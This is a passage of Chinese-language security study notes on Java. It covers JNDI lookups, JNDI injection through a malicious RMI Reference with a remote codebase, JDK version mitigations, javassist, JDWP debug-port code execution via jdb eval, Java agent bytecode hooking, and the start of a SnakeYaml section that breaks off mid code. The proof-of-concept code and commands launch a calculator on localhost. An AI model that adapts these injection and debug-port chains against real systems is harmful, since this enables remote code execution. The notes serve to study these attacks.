title="JNDI"></a>JNDI</h2><p>java naming and Director interface (java命名和目录接口) 查找资源提供的一个通用接口</p><p>JNDI使得可以使用统一的代码连接接口</p><h3 id="Naming-Service-命名服务"><a href="#Naming-Service-命名服务" class="headerlink" title="Naming Service 命名服务"></a>Naming Service 命名服务</h3><p>命名服务将名称和对象进行关联，提供通过名称找到对象的操作，例如：DNS系统将计算机名和IP地址进行关联、文件系统将文件名和文件句柄进行关联等等。</p><h3 id="Directory-Service-目录服务"><a href="#Directory-Service-目录服务" class="headerlink" title="Directory Service 目录服务"></a>Directory Service 目录服务</h3><p>目录服务是命名服务的扩展，除了提供名称和对象的关联，<strong>还允许对象具有属性</strong>。目录服务中的对象称之为目录对象。目录服务提供创建、添加、删除目录对象以及修改目录对象属性等操作。</p><h3 id="Reference-引用"><a href="#Reference-引用" class="headerlink" title="Reference 引用"></a>Reference 引用</h3><p>在一些命名服务系统中，系统并不是直接将对象存储在系统中，而是保持对象的引用。引用包含了如何访问实际对象的信息。</p><p>核心类:</p><p>javax.naming.Context</p><h4 id="1-Context-接口-核心中的核心"><a href="#1-Context-接口-核心中的核心" class="headerlink" title="1. Context 接口 (核心中的核心)"></a><strong>1.</strong> <code>Context</code> <strong>接口 (核心中的核心)</strong></h4><p>这是命名服务的根接口，代表一个<strong>命名环境</strong>。</p><ul><li><strong>作用</strong>：执行绑定、查找、解绑操作。</li><li><ul><li><code>lookup(String name)</code>: 根据名字获取对象。</li><li><code>bind(String name, Object obj)</code>: 绑定名字和对象。</li><li><code>rebind(String name, Object obj)</code>: 重新绑定（如果名字存在则覆盖）。</li><li><code>unbind(String name)</code>: 解除绑定。</li><li><code>list(String name)</code>: 列出上下文中的名字。</li></ul></li></ul><p>javax.naming.directory.InitialContext</p><h4 id="2-InitialContext-类"><a href="#2-InitialContext-类" class="headerlink" title="2. InitialContext 类"></a><strong>2.</strong> <code>InitialContext</code> <strong>类</strong></h4><ul><li><strong>作用</strong>：这是 <code>Context</code> 接口的入口点。当你 <code>new InitialContext(env)</code> 时，它会读取环境变量 (<code>env</code>)，确定要连接哪个服务提供商（如 LDAP 还是 RMI），然后初始化具体的上下文对象。</li><li><strong>地位</strong>：几乎所有 JNDI 操作的起点。</li></ul><p>javax.naming.directory.DirContext</p><h4 id="3-DirContext-接口"><a href="#3-DirContext-接口" class="headerlink" title="3. DirContext 接口"></a><strong>3.</strong> <code>DirContext</code> <strong>接口</strong></h4><ul><li><p><strong>作用</strong>：继承自 <code>Context</code>，增加了目录服务功能。</p></li><li><p>特有方法</p><p>：</p><ul><li><code>getAttributes(String name)</code>: 获取对象的属性。</li><li><code>search(String base, String filter)</code>: 强大的搜索功能（类似 SQL 的 WHERE 子句）。</li><li><code>modifyAttributes(...)</code>: 修改属性。</li></ul></li></ul><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> javax.naming.Context;</span><br><span class="line"><span class="keyword">import</span> javax.naming.directory.DirContext;</span><br><span class="line"><span class="keyword">import</span> javax.naming.directory.InitialDirContext;</span><br><span class="line"><span class="keyword">import</span> java.util.Hashtable;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">JNDIdemo1</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> &#123;</span><br><span class="line">        <span class="type">Hashtable</span> <span class="variable">env</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Hashtable</span>();</span><br><span class="line">        </span><br><span class="line"></span><br><span class="line">        <span class="comment">//设置环境变量</span></span><br><span class="line">        env.put(Context.INITIAL_CONTEXT_FACTORY,<span class="string">&quot;com.sun.jndi.dns.DnsContextFactory&quot;</span>);</span><br><span class="line"></span><br><span class="line">        env.put(Context.PROVIDER_URL,<span class="string">&quot;dns://223.6.6.6/&quot;</span>);</span><br><span class="line"></span><br><span class="line">        <span class="keyword">try</span>&#123;</span><br><span class="line"></span><br><span class="line">            <span class="comment">//初始化目录对象</span></span><br><span class="line">            <span class="type">DirContext</span> <span class="variable">dirContext</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">InitialDirContext</span>(env);</span><br><span class="line"></span><br><span class="line">            System.out.println(dirContext.getAttributes(<span class="string">&quot;baidu.com&quot;</span>,<span class="keyword">new</span> <span class="title class_">String</span>[]&#123;<span class="string">&quot;a&quot;</span>&#125;));</span><br><span class="line">            <span class="comment">//输出dns解析结果</span></span><br><span class="line"></span><br><span class="line">        &#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">RuntimeException</span>(e);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><h2 id="jndi注入"><a href="#jndi注入" class="headerlink" title="jndi注入"></a>jndi注入</h2><p>流程:</p><p><strong>客户端通过jndi (lookup()方法) 寻找某个服务对象(RMI,LADP等)</strong> -&gt;  <strong>服务端的对象为一个Reference对象 返回该对象</strong> -&gt;</p><p><strong>客户端得到该Reference对象 自动的去寻找他的工厂类 并自动的加载指定的工厂类 执行代码</strong></p><p><code>JNDI</code>允许通过<em>对象工厂</em> (<code>javax.naming.spi.ObjectFactory</code>)动态加载对象实现</p><p>Reference对象需要继承<em>对象工厂</em> (<code>javax.naming.spi.ObjectFactory</code>) 改写方法<code>getObjectInstance</code></p><p>通过lookup()查找对象名称  服务器如果返回Reference对象 客户端则会自动下载并且还可以动态加载远程代码</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">String</span> <span class="variable">urlname</span> <span class="operator">=</span> <span class="string">&quot;rmi://127.0.0.1:5564/demo&quot;</span>;</span><br><span class="line"><span class="type">Context</span> <span class="variable">context</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">InitialDirContext</span>();</span><br><span class="line"><span class="type">Object</span> <span class="variable">obj</span> <span class="operator">=</span> context.lookup(urlname);</span><br></pre></td></tr></table></figure><p>当访问的是一个jndi中的reference对象时 会自动下载工厂类 并自动加载该类</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//ReferenceObjectFactory.java</span></span><br><span class="line"><span class="keyword">package</span> com.eval;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> javax.naming.Context;</span><br><span class="line"><span class="keyword">import</span> javax.naming.Name;</span><br><span class="line"><span class="keyword">import</span> javax.naming.spi.ObjectFactory;</span><br><span class="line"><span class="keyword">import</span> java.util.Hashtable;</span><br><span class="line"></span><br><span class="line"><span class="comment">//需要继承ObjectFactory类</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">ReferenceObjectFactory</span> <span class="keyword">implements</span> <span class="title class_">ObjectFactory</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> Object <span class="title function_">getObjectInstance</span><span class="params">(Object obj, Name name, Context nameCtx, Hashtable&lt;?, ?&gt; environment)</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            Runtime.getRuntime().exec(<span class="string">&quot;calc&quot;</span>);</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">null</span>;</span><br><span class="line">        &#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">RuntimeException</span>(e);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//RMIServer.java</span></span><br><span class="line"><span class="keyword">import</span> com.sun.jndi.rmi.registry.ReferenceWrapper;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> javax.naming.Reference;</span><br><span class="line"><span class="keyword">import</span> java.rmi.Naming;</span><br><span class="line"><span class="keyword">import</span> java.rmi.registry.LocateRegistry;</span><br><span class="line"><span class="keyword">import</span> java.rmi.registry.Registry;</span><br><span class="line"><span class="keyword">import</span> java.rmi.server.UnicastRemoteObject;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">RMIServer</span>.java &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">String</span> <span class="variable">RMI_HOST</span> <span class="operator">=</span> <span class="string">&quot;127.0.0.1&quot;</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">int</span> <span class="variable">RMI_PORT</span> <span class="operator">=</span> <span class="number">5564</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">String</span> <span class="variable">RMI_NAME</span> <span class="operator">=</span> <span class="string">&quot;rmi://&quot;</span> + RMI_HOST + <span class="string">&quot;:&quot;</span> + RMI_PORT + <span class="string">&quot;/demo&quot;</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args )</span> &#123;</span><br><span class="line">        <span class="keyword">try</span>&#123;</span><br><span class="line">            System.setProperty(<span class="string">&quot;java.rmi.server.useCodebaseOnly&quot;</span>, <span class="string">&quot;false&quot;</span>);</span><br><span class="line">            System.setProperty(<span class="string">&quot;com.sun.jndi.rmi.object.trustURLCodebase&quot;</span>, <span class="string">&quot;true&quot;</span>);</span><br><span class="line"></span><br><span class="line">            <span class="comment">//在注册中心 注册端口</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">            <span class="type">String</span> <span class="variable">url</span> <span class="operator">=</span> <span class="string">&quot;http://127.0.0.1:8080/jndi-test.jar&quot;</span>;</span><br><span class="line"></span><br><span class="line">            <span class="type">String</span> <span class="variable">classname</span> <span class="operator">=</span> <span class="string">&quot;com.eval.ReferenceObjectFactory&quot;</span>;</span><br><span class="line"></span><br><span class="line">            <span class="type">Registry</span> <span class="variable">registry</span> <span class="operator">=</span> LocateRegistry.createRegistry(RMI_PORT);</span><br><span class="line"></span><br><span class="line">            <span class="comment">//创建一个远程JNDI对象工厂的Reference对象</span></span><br><span class="line">            <span class="type">Reference</span> <span class="variable">reference</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Reference</span>(classname,classname,url);</span><br><span class="line"></span><br><span class="line">            <span class="comment">//转换为RMI引用对象</span></span><br><span class="line">            <span class="type">ReferenceWrapper</span> <span class="variable">referenceWrapper</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ReferenceWrapper</span>(reference);</span><br><span class="line"></span><br><span class="line">            Naming.bind(RMI_NAME,referenceWrapper);</span><br><span class="line"></span><br><span class="line">            System.out.println(<span class="string">&quot;RMI服务启动成功,服务地址:&quot;</span> + RMI_NAME);</span><br><span class="line">        &#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">RuntimeException</span>(e);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> javax.naming.Context;</span><br><span class="line"><span class="keyword">import</span> javax.naming.directory.Attributes;</span><br><span class="line"><span class="keyword">import</span> javax.naming.directory.DirContext;</span><br><span class="line"><span class="keyword">import</span> javax.naming.directory.InitialDirContext;</span><br><span class="line"><span class="keyword">import</span> java.util.Hashtable;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">JNDItest</span>   &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> &#123;</span><br><span class="line">        <span class="comment">//创建环境变量</span></span><br><span class="line">        <span class="type">String</span> <span class="variable">urlname</span> <span class="operator">=</span> <span class="string">&quot;rmi://127.0.0.1:5564/demo&quot;</span>;</span><br><span class="line">        System.setProperty(<span class="string">&quot;java.rmi.server.useCodebaseOnly&quot;</span>, <span class="string">&quot;false&quot;</span>);</span><br><span class="line">        System.setProperty(<span class="string">&quot;com.sun.jndi.rmi.object.trustURLCodebase&quot;</span>, <span class="string">&quot;true&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">/*        Hashtable env = new Hashtable();</span></span><br><span class="line"><span class="comment">        设置JNDI初始化工厂类名</span></span><br><span class="line"><span class="comment">        env.put(Context.INITIAL_CONTEXT_FACTORY,&quot;com.sun.jndi.dns.DnsContextFactory&quot;);</span></span><br><span class="line"><span class="comment">        设置jndi提供服务的url</span></span><br><span class="line"><span class="comment">        env.put(Context.PROVIDER_URL,&quot;dns://223.6.6.6/&quot;);*/</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">        <span class="keyword">try</span>&#123;</span><br><span class="line">            <span class="comment">//创建jndi服务对象</span></span><br><span class="line">            <span class="type">Context</span> <span class="variable">context</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">InitialContext</span>();</span><br><span class="line"></span><br><span class="line">            <span class="comment">//访问存有恶意Reference对象的url</span></span><br><span class="line">            <span class="comment">//访问成功则会自动加载工厂类对象</span></span><br><span class="line">            <span class="type">Object</span> <span class="variable">obj</span> <span class="operator">=</span> context.lookup(urlname);</span><br><span class="line"></span><br><span class="line">            System.out.println(obj);</span><br><span class="line"></span><br><span class="line">        &#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">RuntimeException</span>(e);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><h3 id="版本限制"><a href="#版本限制" class="headerlink" title="版本限制"></a>版本限制</h3><p>RMI</p><ul><li><strong>JDK 6u211, 7u201, 8u191</strong> (2018年10月发布)：<ul><li><strong>限制</strong>：默认禁止 <code>com.sun.jndi.rmi.object.trustURLCodebase</code> 和 <code>com.sun.jndi.cosnaming.object.trustURLCodebase</code> 为 <code>true</code>。</li><li><strong>影响</strong>：RMI 和 COS 协议无法再从远程 HTTP 加载类。</li><li><strong>例外</strong>：<strong>LDAP 协议当时未被完全限制</strong>（这是一个疏忽），所以 LDAP 注入依然有效。</li></ul></li></ul><p>LADP</p><p><strong>JDK 8u292, 11.0.11, 15.0.3, 16.0.2</strong> (2021年4月发布)：</p><ul><li><strong>限制</strong>：默认禁止 <code>com.sun.jndi.ldap.object.trustURLCodebase</code>。</li><li><strong>影响</strong>：<strong>LDAP 也无法从远程加载类了</strong>。</li><li><strong>现状</strong>：在新版 JDK 上，传统的 <code>Reference + Remote Codebase</code> 攻击链<strong>默认失效</strong>。</li></ul><h2 id="javassist"><a href="#javassist" class="headerlink" title="javassist"></a>javassist</h2><ul><li>Javassist 是 Java 字节码编辑库，可以在运行时生成、修改类。</li><li>支持动态生成类、方法、字段，也能修改已有类的字节码。</li><li>与直接操作字节码相比，提供高层次 API，更易上手。</li><li><strong>ClassPool</strong>  </li><li>CtClass 的容器，用于管理和获取类。  </li><li>核心方法：getDefault()、get()、makeClass()、insertClassPath()、appendClassPath()。</li><li><strong>CtClass</strong>  </li><li>表示编译时类，可修改父类、生成字节码、创建静态初始化块。  </li><li>核心方法：setSuperclass()、toBytecode()、makeClassInitializer()、toClass()。</li><li><strong>CtMethod &#x2F; CtField</strong>  </li><li>类似增强版 Method &#x2F; Field，对方法和字段进行动态修改。  </li><li>支持修改方法体、插入代码片段、修改修饰符、重命名方法等。</li><li><strong>主要功能</strong>  </li><li>读取类信息：获取字段、方法、构造函数。  </li><li>修改类方法：修改方法体、插入前后代码、修改访问修饰符。  </li><li>动态创建类：创建新类、添加字段和方法，支持静态初始化块和构造函数。  </li><li>二进制操作：通过 toBytecode() 获取字节码数组，可写入文件生成 .class。</li><li><strong>应用场景</strong>  </li><li>动态代理和 AOP 增强  </li><li>运行时代码注入  </li><li>动态类生成  </li><li>字节码分析与修改</li><li><strong>注意点</strong>  </li><li>所有操作都是基于字节码层面进行，生成的文件都是 .class。  </li><li>可以在 JVM 运行时直接加载生成的类。  </li><li>支持静态代码块、构造函数及方法前后插入逻辑，非常灵活。</li></ul><h2 id="JDWP"><a href="#JDWP" class="headerlink" title="JDWP"></a>JDWP</h2><p>JPDA(<code>Java Platform Debugger Architecture</code>) 是 Java 平台调试体系结构的缩写，通过 JPDA 提供的 API，开发人员可以方便灵活的搭建 Java 调试应用程序。</p><p>主要是通过参数开启该模式</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">/usr/local/java/jdk1<span class="number">.8</span><span class="number">.0_20</span>/bin/java -agentpath:/usr/local/java/jdk1<span class="number">.8</span><span class="number">.0_20</span>/jre/lib/amd64/libjdwp.so=transport=dt_socket,server=y,suspend=y,address=<span class="number">8003</span> /opt/test</span><br></pre></td></tr></table></figure><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">java -agentpath:jdwp=transport=dt_socket,server=y,suspend=y,address=<span class="number">8003</span> test</span><br></pre></td></tr></table></figure><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">java -agentlib:jdwp=transport=dt_socket,server=y,suspend=y,address=*:<span class="number">8003</span> Test</span><br></pre></td></tr></table></figure><p><code>jdwp=transport=dt_socket</code> 通过socket方式来连接调试</p><p><code>server=y,suspend=y</code> 当前调试的文件为服务器 并且为暂停模式</p><p><code>address=*:8003 Test</code> 地址 与包名</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">jdb -connect com.sun.jdi.SocketAttach:hostname=<span class="number">127.0</span><span class="number">.0</span><span class="number">.1</span>,port=<span class="number">8003</span></span><br></pre></td></tr></table></figure><p>使用jdb 通过socket连接上jdwp</p><p><code>stop in com.eval.test.main</code> 在main函数上打断点 然后cont执行到断点处</p><p>此时一般来说就可以执行了</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">eval java.lang.Runtime.getRuntime().exec(<span class="string">&quot;calc&quot;</span>).getInputStream())</span><br></pre></td></tr></table></figure><h2 id="java-agent"><a href="#java-agent" class="headerlink" title="java agent"></a>java agent</h2><p>简单来说就是可以动态的修改字节码 <strong>hook技术</strong></p><p><code>JDK1.5</code>开始，<code>Java</code>新增了<code>Instrumentation(Java Agent API)</code>和<code>JVMTI(JVM Tool Interface)</code>功能，<strong>允许<code>JVM</code>在加载某个<code>class文件</code>之前对其字节码进行修改，同时也支持对已加载的<code>class(类字节码)</code>进行重新加载(<code>Retransform</code>)。</strong></p><ol><li><p>启动<code>Java程序</code>时添加<code>-javaagent(Instrumentation API实现方式)</code>或<code>-agentpath/-agentlib(JVMTI的实现方式)</code>参数，如<code>java -javaagent:/data/XXX.jar LingXeTest</code>。</p></li><li><p><code>JDK1.6</code>新增了<code>attach(附加方式)</code>方式，可以对运行中的<code>Java进程</code>附加<code>Agent</code>。</p></li></ol><p>这两种运行方式的最大区别在于第一种方式只能在程序启动时指定<code>Agent</code>文件，而<code>attach</code>方式可以在<code>Java程序</code>运行后根据<code>进程ID</code>动态注入<code>Agent</code>到<code>JVM</code></p><p><strong>JVMTI</strong> 是底层 C++ 接口，<strong>Instrumentation API</strong> 是基于它封装的、用于开发 Java Agent 的标准 Java 接口，而 <strong>Attach API</strong> 则是一种能在运行时将 Agent 动态挂载到目标 JVM 的通信机制。</p><h3 id="静态hook"><a href="#静态hook" class="headerlink" title="静态hook"></a>静态hook</h3><ol><li><p><strong>入口</strong>：JVM 启动时带上 <code>-javaagent</code> 参数，JVM 会首先执行 Agent 的 <code>premain</code> 方法。</p></li><li><p><strong>注册</strong>：在 <code>premain</code> 中，Agent 调用 <code>inst.addTransformer(new MyTransformer())</code>。这相当于给 JVM 的类加载器装了一个“过滤器”。</p></li><li><p><strong>拦截</strong>：当应用程序尝试加载一个类（例如 <code>com.example.UserService</code>）时，JVM 会先读取该类的 <code>.class</code> 文件字节流。</p></li><li><p><strong>转换（Hook 核心）</strong>：在类被定义（Define Class）之前，JVM 会调用 <code>MyTransformer</code> 的 <code>transform</code> 方法，并将原始的字节码数组 <code>byte[]</code> 传进来。</p></li><li><p>修改</p><p>：</p><ul><li>Agent 使用 <strong>ASM</strong> 或 <strong>Javassist</strong> 解析这个字节数组。</li><li>找到目标方法（如 <code>login</code>）。</li><li>在方法体的开头插入代码（如 <code>System.out.println(&quot;Start login&quot;);</code>），在结尾插入代码（如 <code>System.out.println(&quot;End login&quot;);</code>）。</li></ul></li><li><p><strong>返回</strong>：Agent 返回修改后的新字节数组。JVM 拿着这个“被篡改”的字节码去生成 Class 对象。</p></li><li><p><strong>结果</strong>：应用程序运行 <code>UserService.login()</code> 时，实际上执行的是你植入逻辑后的代码。</p></li></ol><h3 id="动态hook"><a href="#动态hook" class="headerlink" title="动态hook"></a>动态hook</h3><ol><li><p><strong>入口</strong>：通过 <strong>Attach API</strong> 将 Agent 动态挂载到正在运行的 JVM 进程上，触发 <code>agentmain</code> 方法。</p></li><li><p>执行</p><p>：</p><ul><li>同样注册 Transformer，或者直接使用 <code>inst.retransformClasses(TargetClass.class)</code>。</li></ul></li><li><p><strong>触发</strong>：JVM 收到指令后，会强制重新加载目标类的字节码，并再次经过 Transformer 的处理流程（同静态 Hook 的 4-6 步）。</p></li><li><p>结果</p><p>：内存中的类定义被替换，新的请求进来时就会执行新的逻辑。</p><ul><li><em>注意：这种方式通常只能修改方法体内部逻辑，不能增加&#x2F;删除字段或方法。</em></li></ul></li></ol><h2 id="SnakeYaml"><a href="#SnakeYaml" class="headerlink" title="SnakeYaml"></a>SnakeYaml</h2><p>java提供的一个解析yaml文件的组件</p><p>可以将java对象转换为yaml字符串</p><p>依赖地址</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>org.yaml<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line"></span><br><span class="line">    <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>snakeyaml<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line"></span><br><span class="line">    <span class="tag">&lt;<span class="name">version</span>&gt;</span>1.27<span class="tag">&lt;/<span class="name">version</span>&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br></pre></td></tr></table></figure><p>提供序列化与反序列化方法</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">Yaml.dump()<span class="comment">//序列化</span></span><br><span class="line">Yaml.load()<span class="comment">//反序列化</span></span><br></pre></td></tr></table></figure><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//User.java</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> lombok.ToString;</span><br><span class="line"></span><br><span class="line"><span class="meta">@ToString</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">User</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> String name;</span><br><span class="line">    <span class="keyword">private</span> <span class="type">int</span> age;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">User</span><span class="params">()</span>&#123;</span><br><span class="line">        System.out.println(<span class="string">&quot;我是构造器&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">getAge</span><span class="params">()</span> &#123;</span><br><span class="line">        System.out.println(<span class="string">&quot;getAge&quot;</span>);</span><br><span class="line">        <span class="keyword">return</span> age;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">setAge</span><span class="params">(<span class="type">int</span> age)</span> &#123;</span><br><span class="line">        System.out.println(<span class="string">&quot;setAge&quot;</span>);</span><br><span class="line"></span><br><span class="line">        <span class="built_in">this</span>.age = age;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> String <span class="title function_">getName</span><span class="params">()</span> &#123;</span><br><span class="line">        System.out.println(<span class="string">&quot;getName&quot;</span>);</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> name;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">setName</span><span class="params">(String name)</span> &#123;</span><br><span class="line">        System.out.println(<span class="string">&quot;setName&quot;</span>);</span><br><span class="line"></span><br><span class="line">        <span class="built_in">this</span>.name = name;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span 